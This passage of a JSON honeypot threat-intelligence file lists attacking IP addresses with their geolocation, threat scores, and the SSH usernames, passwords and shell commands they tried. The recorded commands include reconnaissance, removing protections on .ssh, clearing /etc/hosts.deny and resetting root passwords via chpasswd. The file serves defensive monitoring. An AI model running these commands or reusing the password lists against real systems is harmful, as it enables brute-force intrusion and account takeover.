      },
      "honeypot_breakdown_30d": {
        "Cowrie": 571,
        "Suricata": 102
      }
    },
    "159.223.162.184": {
      "attack_count": 529,
      "first_seen": "2026-03-03T13:19:16.181Z",
      "last_seen": "2026-03-03T14:17:57.479Z",
      "sessions": 100,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "centos",
        "test",
        "ubuntu",
        "guest"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "password",
        "qwerty",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "passw0rd",
        "password1",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 742,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:18:50.608000+00:00",
        "last_seen_30d": "2026-03-03T14:19:03.549000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 529,
        "Suricata": 213
      }
    },
    "193.106.245.20": {
      "attack_count": 522,
      "first_seen": "2026-03-09T07:30:39.168Z",
      "last_seen": "2026-03-28T20:37:48.936Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "bart",
        "ceo",
        "gg",
        "jun",
        "mama",
        "max",
        "test01",
        "wes"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "1234",
        "050505",
        "123",
        "1234bnm,",
        "123qwe123!",
        "124",
        "1qazxsw",
        "20250808",
        "Abcd12#$",
        "Admin000",
        "Am123456",
        "BT@123456",
        "India@2025",
        "P@ssw0rd89",
        "Qaz.123456",
        "Qwer123456789",
        "Tb123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:JBCB8q0rdIBq\"|chpasswd|bash",
        "echo \"root:RXCFqqrHXg1H\"|chpasswd|bash",
        "echo \"root:ZkqMg03IYCce\"|chpasswd|bash",
        "echo \"root:pZNIDEUrUT7q\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 31242,
      "as_org": "Play",
      "threat_score": 51.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.3,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 678,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T07:30:39.168000+00:00",
        "last_seen_30d": "2026-03-28T20:38:56.818000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 522,
        "Suricata": 156
      }
    },
    "103.187.147.214": {
      "attack_count": 520,
      "first_seen": "2026-03-07T12:58:13.291Z",
      "last_seen": "2026-03-20T03:28:40.074Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "kafka",
        "pavel",
        "petr",
        "u1",
        "ys",
        "Admin",
        "ankit",
        "arkserver",
        "comp",
        "elearn",
        "eugene",
        "jellyfin",
        "kubernetes",
        "manager",
        "marissa",
        "mohsen",
        "mq",
        "nasuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "password",
        "1234",
        "12345",
        "12345678",
        "Admin",
        "Eugene123",
        "Kubernetes123",
        "Lc123456",
        "Manager123!",
        "Marissa123",
        "Petr123",
        "Rancher",
        "Sgp123",
        "abc123456",
        "ankit123",
        "jellyfinpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\npbSoRMTjFPsd\\npbSoRMTjFPsd\\n\"|passwd",
        "echo \"Petr123\\nDGDQOihjeVlE\\nDGDQOihjeVlE\\n\"|passwd",
        "echo \"kafkapass\\nfKulym751qXf\\nfKulym751qXf\\n\"|passwd",
        "echo \"u1123\\nd2qkbnbRpq6U\\nd2qkbnbRpq6U\\n\"|passwd",
        "echo \"ys\\nZkKBoFjeHkx4\\nZkKBoFjeHkx4\\n\"|passwd",
        "echo -e \"123456\\npbSoRMTjFPsd\\npbSoRMTjFPsd\"|passwd|bash",
        "echo -e \"Petr123\\nDGDQOihjeVlE\\nDGDQOihjeVlE\"|passwd|bash",
        "echo -e \"kafkapass\\nfKulym751qXf\\nfKulym751qXf\"|passwd|bash",
        "echo -e \"u1123\\nd2qkbnbRpq6U\\nd2qkbnbRpq6U\"|passwd|bash",
        "echo -e \"ys\\nZkKBoFjeHkx4\\nZkKBoFjeHkx4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 624,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T12:58:13.291000+00:00",
        "last_seen_30d": "2026-03-20T03:29:48.467000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 520,
        "Suricata": 104
      }
    },
    "63.116.23.24": {
      "attack_count": 500,
      "first_seen": "2026-03-05T21:00:40.820Z",
      "last_seen": "2026-03-30T13:36:53.112Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "erpnext",
        "ovh",
        "tim",
        "airflow",
        "client1",
        "debianuser",
        "desarrollo",
        "evertz",
        "gitlab",
        "gosha",
        "henry",
        "jenny",
        "matin",
        "mmx",
        "perforce",
        "personal",
        "prof",
        "ravi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "123456+",
        "123aaa",
        "33333333",
        "8ik,9ol",
        "@Dmin",
        "Admin@4321",
        "Airflow",
        "Evertz123!",
        "Matin123",
        "Pass@123456",
        "Password1234!",
        "Qaz1wsx2",
        "ROOT@123",
        "Security",
        "Summer"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nMuwoL95PDDrw\\nMuwoL95PDDrw\\n\"|passwd",
        "echo \"ovh123\\nX7jQL2gfOZg8\\nX7jQL2gfOZg8\\n\"|passwd",
        "echo \"root:96eH4t8Dtfs3\"|chpasswd|bash",
        "echo \"timpass\\nVzRAbNcO7hXx\\nVzRAbNcO7hXx\\n\"|passwd",
        "echo -e \"123456\\nMuwoL95PDDrw\\nMuwoL95PDDrw\"|passwd|bash",
        "echo -e \"ovh123\\nX7jQL2gfOZg8\\nX7jQL2gfOZg8\"|passwd|bash",
        "echo -e \"timpass\\nVzRAbNcO7hXx\\nVzRAbNcO7hXx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 59.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.0,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 626,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T21:00:40.820000+00:00",
        "last_seen_30d": "2026-03-30T13:37:56.395000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 500,
        "Suricata": 126
      }
    },
    "186.251.71.202": {
      "attack_count": 497,
      "first_seen": "2026-03-02T00:46:44.553Z",
      "last_seen": "2026-03-08T12:45:27.960Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ben",
        "ubuntu",
        "ctf",
        "ociispth",
        "old",
        "rahul",
        "sftptest",
        "unity",
        "username"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd",
        "!1fw@2soc#3vpn",
        "000",
        "123!@#qweQWE",
        "123123...",
        "123456",
        "123456**",
        "12345677",
        "123@123aA",
        "145236",
        "19821982",
        "2002",
        "3edc#EDC",
        "Aa112233",
        "Aa123456?",
        "Abc123456*",
        "Apple123",
        "Ben123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Aa112233\\nxMMi2t9EEMEW\\nxMMi2t9EEMEW\\n\"|passwd",
        "echo \"Ben123!\\nq2SrEHUbM0Ih\\nq2SrEHUbM0Ih\\n\"|passwd",
        "echo \"root:oox80kl8RTP2\"|chpasswd|bash",
        "echo \"root:qFtc1fKRnlVt\"|chpasswd|bash",
        "echo -e \"Aa112233\\nxMMi2t9EEMEW\\nxMMi2t9EEMEW\"|passwd|bash",
        "echo -e \"Ben123!\\nq2SrEHUbM0Ih\\nq2SrEHUbM0Ih\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Trindade",
      "asn": 262826,
      "as_org": "PW INFORMATICA E TECNOLOGIA LTDA",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 623,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:46:44.553000+00:00",
        "last_seen_30d": "2026-03-08T12:46:28.879000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 497,
        "Suricata": 126
      }
    },
    "72.253.251.3": {
      "attack_count": 442,
      "first_seen": "2026-03-02T16:53:08.295Z",
      "last_seen": "2026-03-18T23:36:49.667Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mitra",
        "odoo17",
        "db2inst",
        "elastic",
        "pm2user",
        "portal",
        "ws"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "Aa147258.",
        "As1234567",
        "Lh123456@",
        "Pa$$w0rd@2024",
        "Pm2user123",
        "Portal123",
        "Root2025!",
        "Sz123456",
        "Tt123456",
        "admin123123",
        "admin2024",
        "ethan",
        "odoo17123!",
        "qwer1234.",
        "qwerty12345",
        "ws!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nzYYCVIPVKVJm\\nzYYCVIPVKVJm\\n\"|passwd",
        "echo \"odoo17123!\\n1lQqVT1lkTK3\\n1lQqVT1lkTK3\\n\"|passwd",
        "echo \"root:9OJ1WAlBlzxo\"|chpasswd|bash",
        "echo \"root:XJ0TKN6jXxd0\"|chpasswd|bash",
        "echo \"root:tJIfV5dLVRLH\"|chpasswd|bash",
        "echo -e \"123\\nzYYCVIPVKVJm\\nzYYCVIPVKVJm\"|passwd|bash",
        "echo -e \"odoo17123!\\n1lQqVT1lkTK3\\n1lQqVT1lkTK3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Lahaina",
      "asn": 36149,
      "as_org": "Hawaiian Telcom Services Company, Inc.",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 511,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:53:08.295000+00:00",
        "last_seen_30d": "2026-03-18T23:37:57.405000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 442,
        "Suricata": 69
      }
    },
    "103.49.239.252": {
      "attack_count": 380,
      "first_seen": "2026-03-11T01:09:16.662Z",
      "last_seen": "2026-03-14T21:04:28.253Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "afio",
        "colin",
        "postgres",
        "ansible",
        "clawd",
        "dd",
        "dp",
        "games",
        "jeff",
        "montor",
        "oliver",
        "planka",
        "roots",
        "spam1",
        "stanchion",
        "web4",
        "wireguard",
        "zsolt"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "123456",
        "7ujm&UJM",
        "Li@123456",
        "P@ssw0rd2025",
        "Zsolt123!",
        "abc123456",
        "afio",
        "clawd@123",
        "colin",
        "dp123!",
        "mynoob",
        "oliver",
        "planka123!",
        "spam1",
        "stanchion",
        "web4"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"abc123456\\ny5yH8mlTUaaX\\ny5yH8mlTUaaX\\n\"|passwd",
        "echo \"afio\\niQ98KjV6mjjZ\\niQ98KjV6mjjZ\\n\"|passwd",
        "echo \"colin\\n6lslfShVH4wk\\n6lslfShVH4wk\\n\"|passwd",
        "echo \"root:LJeb1s9k1242\"|chpasswd|bash",
        "echo -e \"abc123456\\ny5yH8mlTUaaX\\ny5yH8mlTUaaX\"|passwd|bash",
        "echo -e \"afio\\niQ98KjV6mjjZ\\niQ98KjV6mjjZ\"|passwd|bash",
        "echo -e \"colin\\n6lslfShVH4wk\\n6lslfShVH4wk\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 446,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:09:16.662000+00:00",
        "last_seen_30d": "2026-03-14T21:05:29.083000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 380,
        "Suricata": 66
      }
    },
    "167.172.120.246": {
      "attack_count": 322,
      "first_seen": "2026-03-02T11:01:24.047Z",
      "last_seen": "2026-03-02T11:25:11.307Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2580",
        "@aA123456",
        "Qwerty1234",
        "a!@sd",
        "aa162113",
        "hallo123",
        "kokos",
        "qq12345678",
        "qwe@123",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Rhh1ae2XxPfw\"|chpasswd|bash",
        "echo \"root:U926hUaPbaVX\"|chpasswd|bash",
        "echo \"root:s9u0FeCCbDXV\"|chpasswd|bash",
        "echo \"root:v7cKIJ6S5jFg\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:01:24.047000+00:00",
        "last_seen_30d": "2026-03-02T11:26:11.715000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 322,
        "Suricata": 40
      }
    },
    "102.164.35.116": {
      "attack_count": 321,
      "first_seen": "2026-03-26T19:07:56.763Z",
      "last_seen": "2026-03-27T21:09:01.730Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123!@#zxc",
        "123123asd",
        "123456yy",
        "1qaz@WSX123!@#",
        "258",
        "Admin$1234",
        "Gg123456!",
        "Marlboro",
        "PASswOrd",
        "PAssw0rd",
        "Q1W2E3R4T5Y6",
        "Server12",
        "Ym@123456789",
        "abc123@@",
        "adadad",
        "anil",
        "bitebite",
        "caravan"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:4hIhhZ7GZGQr\"|chpasswd|bash",
        "echo \"root:x0VV73k6uV27\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Abuja",
      "asn": 37125,
      "as_org": "Layer3",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 431,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:07:56.763000+00:00",
        "last_seen_30d": "2026-03-27T21:10:11.087000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 321,
        "Suricata": 110
      }
    },
    "52.177.169.196": {
      "attack_count": 312,
      "first_seen": "2026-03-24T06:34:11.375Z",
      "last_seen": "2026-03-31T12:49:09.713Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "altibase",
        "alarm",
        "alexandra",
        "amir",
        "cheng",
        "chris",
        "default",
        "glassfish",
        "jennifer",
        "lucas",
        "roott",
        "staging",
        "tester",
        "ubuntu",
        "webdev"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ6yhn",
        "0000",
        "0okm9ijn8uhb",
        "123",
        "1234",
        "12345",
        "123456",
        "123Azerty",
        "1qaz2wsx@admin",
        "Chris",
        "Cloud12#$",
        "Glassfish123!",
        "Pass@word2",
        "Passw0rd#@!",
        "QWERTY@2025",
        "Root123#",
        "Sajan@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nt8OMS1WrgqzY\\nt8OMS1WrgqzY\\n\"|passwd",
        "echo \"root:RvxS2rnhyLZT\"|chpasswd|bash",
        "echo -e \"12345\\nt8OMS1WrgqzY\\nt8OMS1WrgqzY\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 44.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 403,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T06:34:11.375000+00:00",
        "last_seen_30d": "2026-03-31T12:50:14.767000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 91
      }
    },
    "130.162.132.75": {
      "attack_count": 285,
      "first_seen": "2026-03-15T19:47:59.582Z",
      "last_seen": "2026-03-25T14:10:57.085Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "bhavesh",
        "andy",
        "azureuser",
        "bert",
        "desktop",
        "erpuser",
        "kirill",
        "lorenzo",
        "lucas",
        "modify",
        "salman",
        "ss",
        "temp",
        "tian"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "1234",
        "12345",
